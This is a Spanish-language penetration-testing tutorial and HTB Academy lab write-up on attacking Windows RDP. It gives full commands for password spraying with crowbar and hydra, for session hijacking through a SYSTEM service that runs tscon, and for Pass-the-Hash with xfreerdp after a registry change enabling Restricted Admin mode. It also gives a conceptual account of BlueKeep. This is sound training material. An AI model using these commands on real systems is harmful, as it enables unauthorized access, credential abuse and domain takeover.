Ataques a RDP: enumeración, explotación y laboratorio práctico

¿Qué es el RDP?

El Remote Desktop Protocol (RDP) es un protocolo propietario de Microsoft que permite conectarse de forma gráfica a otro equipo a través de una red. En lugar de trabajar con una terminal (como SSH), entrega el escritorio completo del equipo remoto: ratón, teclado, ventanas y aplicaciones.

TÚ (cliente RDP)
     ↓  TCP/3389 — negociación y autenticación
SERVIDOR RDP (Windows)
     ↓  Stream de video comprimido + eventos de teclado/ratón
TU PANTALLA (el escritorio del servidor)

Es una de las herramientas de administración remota más utilizadas: los sysadmins y los proveedores MSP gestionan cientos de máquinas con él como si estuvieran físicamente frente a ellas. Esa misma comodidad lo convierte en un vector de ataque frecuente: si está mal configurado, expuesto en Internet, o con credenciales débiles, es una puerta de entrada directa al sistema con interfaz gráfica.

Dato	Valor
Puerto por defecto	TCP/3389
Protocolo	RDP (Remote Desktop Protocol)
Nombre del servicio	ms-wbt-server
Sistema operativo	Windows (Server y Desktop)
Autenticación	NTLM / Kerberos / CredSSP

A diferencia de SSH en Linux, RDP entrega acceso gráfico completo. Esto significa que un atacante con credenciales válidas puede usar el Explorador de archivos, navegadores instalados, o cualquier aplicación con GUI, exactamente como lo haría un usuario legítimo.

---

Introducción

Password Spraying

Una contraseña contra muchos usuarios. Evita bloqueos al no repetir intentos por usuario.

Session Hijacking

Con privilegios SYSTEM se puede secuestrar la sesión activa de otro usuario sin conocer su contraseña.

Pass-the-Hash

Usar el hash NTLM directamente para autenticarse vía RDP sin necesidad de crackear la contraseña.

---

Enumeración

El primer paso es confirmar si el servicio RDP está activo en el objetivo:

╰─ sudo nmap -p3389 -Pn -sCV 10.129.203.13

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 04:20 BST
Nmap scan report for 10.129.203.13
Host is up (0.00037s latency).

PORT     STATE  SERVICE
3389/tcp open   ms-wbt-server

Flag	Qué hace
-p3389	Solo escanea el puerto 3389 (RDP)
-Pn	Omite el host discovery (útil cuando el host no responde a pings)
-sCV	Combina -sC (scripts por defecto) y -sV (detección de versión)

Si el puerto aparece como open con el servicio ms-wbt-server, el objetivo tiene RDP escuchando. Los scripts de Nmap pueden revelar información adicional como la versión del servidor, certificados autofirmados, o si el modo NLA (Network Level Authentication) está activo.

Si el servidor expone el certificado con su hostname completo (ej: WIN-Q8F2KTAI43A o dc-01.superstore.xyz), anótalo. Puede ser el nombre real del Domain Controller en un entorno de Active Directory.

---

Explotación

Password Spraying

Dado que RDP autentica con credenciales de usuario, el password guessing es uno de los ataques más comunes. Sin embargo, hay un punto crítico: las políticas de bloqueo de cuentas en Windows. Si intentamos demasiadas contraseñas contra un mismo usuario, la cuenta puede quedar bloqueada y alertaremos al Blue Team.

La solución es el Password Spraying: probamos una sola contraseña contra muchos usuarios, y luego rotamos a la siguiente contraseña, evitando así el lockout.

Brute force (malo, bloquea cuentas):
usuario1 → pass1, pass2, pass3, pass4, pass5... → ❌ CUENTA BLOQUEADA

Password spraying (bueno, evita bloqueo):
pass1 → usuario1, usuario2, usuario3, usuario4...
        ↓ (esperar cooldown del lockout)
pass2 → usuario1, usuario2, usuario3, usuario4...

Primero preparamos la lista de usuarios a probar:

╰─ cat users.txt

root
test
user
guest
admin
administrator

Crowbar — RDP Password Spraying

Crowbar es una herramienta especializada en fuerza bruta sobre protocolos de escritorio remoto (RDP, OpenVPN, SSH key-based auth, VNC).

╰─ crowbar -b rdp -s 10.129.203.13/32 -U users.txt -c 'password123'

2022-04-07 15:35:50 START
2022-04-07 15:35:50 Crowbar v0.4.1
2022-04-07 15:35:50 Trying 10.129.203.13:3389
2022-04-07 15:35:52 RDP-SUCCESS : 10.129.203.13:3389 - administrator:password123
2022-04-07 15:35:52 STOP

Flag	Qué hace
-b rdp	Especifica el protocolo objetivo (RDP)
-s	IP/CIDR del objetivo (/32 = una sola IP)
-U	Archivo con la lista de usuarios
-c	Contraseña a probar contra todos los usuarios

Hydra — RDP Password Spraying

Hydra es la alternativa más conocida. Soporta RDP pero con el modo marcado como experimental.

╰─ hydra -L users.txt -p 'password123' 10.129.203.13 rdp

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8 login tries (l:2/p:4), ~2 tries per task
[DATA] attacking rdp://10.129.203.13:3389/
[3389][rdp] host: 10.129.203.13   login: administrator   password: password123
1 of 1 target successfully completed, 1 valid password found

Flag	Qué hace
-L	Lista de usuarios a probar
-p	Contraseña única a probar contra todos
rdp	Módulo/protocolo objetivo

Hydra recomienda usar -t 1 o -t 4 para limitar las conexiones paralelas. Los servidores RDP no toleran bien la concurrencia alta y pueden generar falsos negativos o bloqueos.

En entornos corporativos, las cuentas suelen bloquearse tras 3-5 intentos fallidos. Si no conoces la política de lockout, el spray con 1-2 contraseñas comunes es el enfoque más seguro. Un falso movimiento puede bloquear cuentas y alertar al Blue Team.

Conexión con credenciales válidas

Una vez obtenidas las credenciales, podemos conectarnos con rdesktop o xfreerdp.

rdesktop:

╰─ rdesktop -u administrator -p password123 10.129.203.13

Autoselecting keyboard map 'en-us' from locale

ATTENTION! The server uses an invalid security certificate which can not be trusted.
Issuer: CN=WIN-Q8F2KTAI43A
Do you trust this certificate (yes/no)? yes

Flag	Qué hace
-u	Usuario
-p	Contraseña

Si el servidor usa un certificado autofirmado (lo normal en entornos internos), rdesktop nos pedirá confirmación. Escribimos yes para aceptar y la sesión gráfica se abre.

xfreerdp:

╰─ xfreerdp /v:10.129.203.13 /u:administrator /p:'password123'

Flag	Qué hace
/v:	IP/hostname del objetivo
/u:	Usuario
/p:	Contraseña (comillas si tiene caracteres especiales)

xfreerdp es el cliente más moderno y con mayor soporte activo. rdesktop está prácticamente en desuso pero sigue funcionando contra servidores viejos donde xfreerdp falla por incompatibilidad de protocolos.

---

Session Hijacking

Este es uno de los ataques más potentes relacionados con RDP en entornos de Active Directory. Si ya tenemos acceso a una máquina con privilegios de administrador local y existe otro usuario conectado por RDP a esa misma máquina, podemos secuestrar su sesión sin necesitar su contraseña.

Escenario inicial:
─────────────────────────────────────────────────────
Máquina comprometida (Windows Server)
  ├── Sesión 2  →  juurena (admin local, NOSOTROS)
  └── Sesión 4  →  lewen   (Domain Admin, víctima)

Objetivo: saltar de la sesión de juurena a la de lewen
sin conocer la contraseña de lewen.

La clave está en el binario tscon.exe, que permite conectarse a otra sesión de escritorio. Tiene una particularidad:

• Si lo ejecutas como un usuario normal, necesitas su contraseña.
• Si lo ejecutas como SYSTEM, te conecta a la sesión sin pedir contraseña.

Entonces el truco es: conseguir privilegios SYSTEM (cosa trivial si ya eres admin local) y lanzar tscon.exe desde ahí.

Paso 1 — Identificar las sesiones activas

C:\> query user

 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>juurena               rdp-tcp#13          2  Active          .  4/27/2022 8:55 AM
 lewen                 rdp-tcp#14          4  Active          .  4/27/2022 8:57 AM

El > antes del nombre indica la sesión actual (nosotros, juurena, sesión ID 2). El objetivo es lewen, sesión ID 4.

Paso 2 — Crear un servicio de Windows que corra como SYSTEM

Usamos sc.exe para crear un servicio que ejecute tscon con los parámetros necesarios. Los servicios de Windows por defecto corren como Local System, que es exactamente lo que necesitamos:

C:\> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 4 /dest:rdp-tcp#13"

[SC] CreateService SUCCESS

Parte	Qué hace
sc.exe create	Crea un nuevo servicio de Windows
sessionhijack	Nombre arbitrario del servicio
binpath= "..."	Comando que ejecutará el servicio (espacio después del = es obligatorio)
cmd.exe /k tscon 4	Lanza tscon contra la sesión ID 4 (la de lewen)
/dest:rdp-tcp#13	Destino: nuestra sesión actual

El espacio después del = en binpath= es obligatorio. Sin él, sc.exe falla silenciosamente y el servicio se crea mal.

Paso 3 — Iniciar el servicio

C:\> net start sessionhijack

En el momento en que el servicio arranca, corre como SYSTEM, ejecuta tscon contra la sesión de lewen, y nos la trae a nuestra sesión activa. Aparece una nueva ventana de PowerShell donde ya somos lewen, sin haber ingresado su contraseña en ningún momento.

Con este nuevo acceso, podemos verificar si lewen pertenece a grupos privilegiados del dominio (Domain Admins, Help Desk, Enterprise Admins). Si lo es, el compromiso de una sola máquina acaba de convertirse en el compromiso del dominio completo.

Esta técnica ya no funciona en Windows Server 2019 en adelante. Microsoft parcheó la escalada de SYSTEM → sesión de otro usuario. En Server 2016, 2012 R2 y versiones anteriores sigue siendo válida.

---

Pass-the-Hash (PtH)

En muchos escenarios de post-explotación tenemos el hash NTLM de un usuario (por ejemplo, volcado desde la SAM, LSASS con Mimikatz, o el archivo NTDS.dit del Domain Controller) pero no podemos crackearlo para obtener la contraseña en texto claro.

Con Pass-the-Hash sobre RDP podemos autenticarnos directamente usando el hash, sin necesidad de la contraseña original.

Autenticación normal (con contraseña):
Usuario + Contraseña → Hash NTLM → Servidor → ✓ Autenticado

Pass-the-Hash (sin contraseña):
Usuario + Hash NTLM directo → Servidor → ✓ Autenticado
                    ↑
           Saltamos el proceso de convertir
           contraseña en hash

Requisito previo — Restricted Admin Mode

Esta técnica requiere que el modo Restricted Admin esté habilitado en el objetivo. Por defecto está desactivado desde Windows 8.1 / Server 2012 R2. Si intentamos el PtH sin habilitarlo, el servidor nos devuelve un error de restricción de cuenta:

Para habilitarlo, necesitamos acceso al registro del objetivo. Se puede hacer desde PowerShell (requiere ser admin):

PS C:\> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Parte	Qué hace
reg add	Agrega una nueva clave de registro
HKLM\System\...\Lsa	Ruta de la clave (Local Security Authority)
/t REG_DWORD	Tipo de dato: DWORD (entero de 32 bits)
/v DisableRestrictedAdmin	Nombre de la clave
/d 0x0	Valor: 0 (Restricted Admin habilitado, contraintuitivo)
/f	Fuerza la creación sin preguntar

El valor 0 significa que el modo Restricted Admin NO está deshabilitado, o sea, está habilitado. Es contraintuitivo pero así lo diseñó Microsoft. Valor 1 = deshabilitado, valor 0 = habilitado.

Ejecutar el ataque con xfreerdp

╰─ xfreerdp /v:10.129.203.13 /u:Administrator /pth:<HASH_CENSURADO>

[09:24:10:115] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[09:24:11:464] [WARN][com.freerdp.crypto] - Certificate verification failure 'self signed certificate (18)' at stack position 0
[09:24:11:464] [WARN][com.freerdp.crypto] - CN = dc-01.superstore.xyz
[09:24:11:567] [INFO][com.winpr.sspi.NTLM] - negotiateFlags "0xE2898235"

Flag	Qué hace
/v:	IP del objetivo
/u:	Usuario objetivo
/pth:	Hash NTLM del usuario (sin contraseña)

Si el ataque es exitoso, obtenemos una sesión RDP completa como el usuario objetivo. Al abrir PowerShell y ejecutar whoami, confirmamos la identidad:

PS C:\Users\lewen> whoami
superstore\lewen

No funciona contra todos los sistemas Windows. Es más efectivo en entornos más antiguos o donde el Restricted Admin Mode ya está habilitado por el administrador para facilitar el soporte remoto. Siempre vale intentarlo cuando tienes un hash NTLM y sabes que el usuario tiene permisos RDP.

---

Resumen

Los tres ataques encadenan una progresión típica de compromiso sobre RDP:

1. ENUMERACIÓN
   nmap -p3389 → confirmo que hay un servicio RDP activo
        ↓
2. PASSWORD SPRAYING (acceso inicial)
   crowbar / hydra → pruebo contraseña común contra muchos usuarios
        ↓
   Si funciona → tengo credenciales de un usuario local
        ↓
3. SESSION HIJACKING (si hay otros usuarios conectados)
   sc.exe create + tscon → salto a la sesión de otro usuario
        ↓
   Si el otro usuario es Domain Admin → comprometo el dominio
        ↓
4. PASS-THE-HASH (si tengo hashes pero no contraseñas)
   reg add (habilitar Restricted Admin)
   xfreerdp /pth: → autentico con hash NTLM directo

Técnica	Requisito	Impacto	Ruido
Password Spraying	Lista de usuarios + política de lockout conocida	Acceso inicial con GUI	Medio
Session Hijacking	Admin local + sesión activa de otro usuario	Escalada de privilegios / lateral	Bajo
Pass-the-Hash (PtH)	Hash NTLM + Restricted Admin habilitado	Acceso GUI sin contraseña	Bajo

---

Laboratorio HTB Academy: Attacking RDP

Pregunta 1: ¿Cuál es el nombre del archivo que quedó en el escritorio? (Ejemplo de formato: nombrearchivo.txt)

Primero ejecuté un escaneo de puertos y servicios con nmap para verificar la superficie de ataque

sudo nmap -p3389 -Pn -sCV 10.129.203.13

• Resultado: TCP/3389 open

Al identificar el servicio RCP levantado y al contar con credenciales válidas:

• Usuario: htb-rdp
• Contraseña: [CENSURADO]

inicié sesión con la herramienta xfreerdp en mi maquina de atacante.

xfreerdp /v:10.129.203.13 /u:htb-rdp /p:<CONTRASEÑA_CENSURADA> /cert:ignore

/cert:ignore: En entornos corporativos internos, los servidores RDP suelen tener certificados autofirmados. Este flag evita que la conexión sea rechazada abruptamente por errores de validación de confianza SSL/TLS.

• Resultado: [CENSURADO]

El archivo pedido esta en el escritorio. Es visible inmediatamente después de iniciar sesión en RDP.

🚩Flag 1:

[CENSURADO]

Pregunta 2: ¿Qué clave del registro debe modificarse para permitir Pass-the-Hash con el protocolo RDP?

Esta fase consistía en preparar la máquina comprometida para facilitar el movimiento lateral en la red sin necesitar contraseñas en texto plano, utilizando la técnica Pass-the-Hash (PtH) sobre RDP.

Por defecto, el protocolo RDP requiere conocer la contraseña real en texto plano para autenticarte. Sin embargo, Windows posee una característica administrativa llamada Restricted Admin Mode (Modo de Administrador Restringido). Cuando esta característica está activada, el sistema permite la autenticación validando directamente un hash NTLM, sin requerir la clave original. Por obvias razones de seguridad defensiva, Microsoft mantiene esto desactivado de fábrica.

Para habilitarlo nosotros como atacantes, debemos modificar la subclave de la Autoridad de Seguridad Local (LSA) directamente en el Registro de Windows.

Abrí powershell y ejecute el siguiente comando:

reg add HKLM\System\CurrentControlSet\Control\Lsa /v <CLAVE_CENSURADA> /t REG_DWORD /d 0 /f

Para verificar que el cambio se ha aplicado correctamente, revisa el registro de Windows en su interfaz GUI:

• Resultado: [CENSURADO]

Al realizar este cambio, el servidor quedó modificado estructuralmente para que cualquier atacante con un hash NTLM válido de un usuario administrador pudiera iniciar sesión mediante RDP.

🚩 Flag 2:

[CENSURADO]

Pregunta 3: Conéctese mediante RDP con la cuenta de administrador y envíe el archivo flag.txt como respuesta.

El hash que se menciona en esta pregunta se encuentra en el archivo de la pregunta 1 ubicado en el Escritorio. El valor se omite para no publicar una credencial del laboratorio.

• Resultado: [CENSURADO]

Ya que anteriormente Pude habilitar con éxito el modo de administrador restringido, utilicé xfreerdp con Hash descubierto:

xfreerdp /v:10.129.203.13 /u:Administrador /pth:<HASH_CENSURADO> /cert:ignore

Resultado: [CENSURADO]

Esto me permitió iniciar sesión como administrador sin conocer la contraseña en texto plano.

---

Vulnerabilidades recientes de RDP

RDP ha sido históricamente uno de los protocolos más auditados en búsqueda de vulnerabilidades críticas. La razón es simple: está expuesto en millones de servidores Windows, corre con privilegios elevados, y ofrece acceso completo al sistema si se explota. La vulnerabilidad más icónica de los últimos años es BlueKeep.

CVE-2019-0708 — BlueKeep

Publicada en 2019, BlueKeep es una vulnerabilidad crítica en el servicio RDP que permite ejecución remota de código (RCE) sin autenticación previa. Afecta a versiones antiguas pero aún ampliamente usadas de Windows:

• Windows 7
• Windows Server 2008
• Windows Server 2008 R2
• Windows XP
• Windows Server 2003

Lo que hace a BlueKeep especialmente peligroso es que no requiere credenciales. Un atacante puede disparar el exploit contra cualquier servidor RDP accesible y obtener RCE como NT AUTHORITY\SYSTEM directamente.

El concepto del ataque

La vulnerabilidad no está en el proceso de autenticación, sino en la fase previa de negociación que ocurre antes de que el usuario ingrese credenciales. Cuando un cliente y un servidor RDP inician una conexión, intercambian parámetros básicos a través de canales virtuales.

Uno de estos canales contiene un bug del tipo Use-After-Free (UAF): se libera un puntero de memoria pero el código lo sigue usando después. Si el atacante logra controlar lo que ocupa esa memoria liberada, puede redirigir la ejecución a su propio shellcode.

Conexión RDP normal:
Cliente → "hola, negociemos canales" → Servidor
Servidor → asigna memoria para canales → libera memoria sobrante
Cliente → envía credenciales → Servidor autentica

Conexión RDP con BlueKeep:
Cliente ATACANTE → "hola, negociemos canales" (manipulado) → Servidor
Servidor → libera memoria del canal vulnerable
Cliente ATACANTE → envía payload que ocupa esa memoria libre
Servidor → CPU ejecuta el payload en contexto de kernel
           ↓
           RCE como SYSTEM, sin haberse autenticado

Como el servicio RDP corre con privilegios de Local System (los más altos del sistema), el payload se ejecuta con esos mismos privilegios. No hay escalada posterior: desde la primera instrucción ya tienes control total de la máquina.

Impacto real

En mayo de 2019, escaneos iniciales identificaron aproximadamente 950.000 sistemas Windows vulnerables a BlueKeep expuestos en Internet. Años después, aún queda alrededor de un cuarto de esos hosts sin parchear.

El vector es particularmente peligroso para sectores con infraestructura crítica que depende de software heredado:

• Hospitales (equipos médicos con versiones antiguas de Windows)
• Infraestructura industrial (SCADA, PLCs con Windows Embedded)
• Empresas con inversiones costosas en software propietario que solo funciona sobre Windows 7 / Server 2008

BlueKeep ha sido la base de múltiples campañas de ransomware a gran escala.

Microsoft liberó parches para todas las versiones afectadas, incluyendo Windows XP y Server 2003 (que ya estaban fuera de soporte). Eso demuestra la gravedad que le dieron.

Aviso importante en pentesting: los exploits públicos de BlueKeep son inestables. Un intento fallido casi siempre genera un BSoD (Blue Screen of Death) en el objetivo. Nunca lances el exploit contra producción sin autorización explícita por escrito del cliente. Incluso con autorización, es preferible programarlo fuera de horario laboral y tener un plan de recuperación.

Existe un exploit público en Exploit-DB y un módulo en Metasploit (exploit/windows/rdp/cve_2019_0708_bluekeep_rce), pero el mismo módulo marca la técnica como Manual Ranking debido a su inestabilidad.

---

Conclusión

RDP es un protocolo extremadamente valioso tanto para administradores como para atacantes. Desde un simple password spray para obtener acceso inicial, hasta técnicas más avanzadas como el session hijacking o el Pass-the-Hash para moverse lateralmente dentro de un dominio, entender cómo funciona y cómo atacarlo es fundamental en cualquier evaluación de seguridad.

En el contexto de Active Directory, comprometer una sesión RDP puede significar directamente la escalada a Domain Admin si el usuario conectado tiene ese nivel de privilegios. Y vulnerabilidades críticas como BlueKeep demuestran que incluso hoy, años después de su publicación, RDP sigue siendo una superficie de ataque masiva en Internet.

Fuentes y lecturas recomendadas

• Microsoft Learn: Remote Desktop Services
• Microsoft Security Advisory CVE-2019-0708
• MITRE ATT&CK T1021.001: Remote Services — RDP
• FreeRDP documentation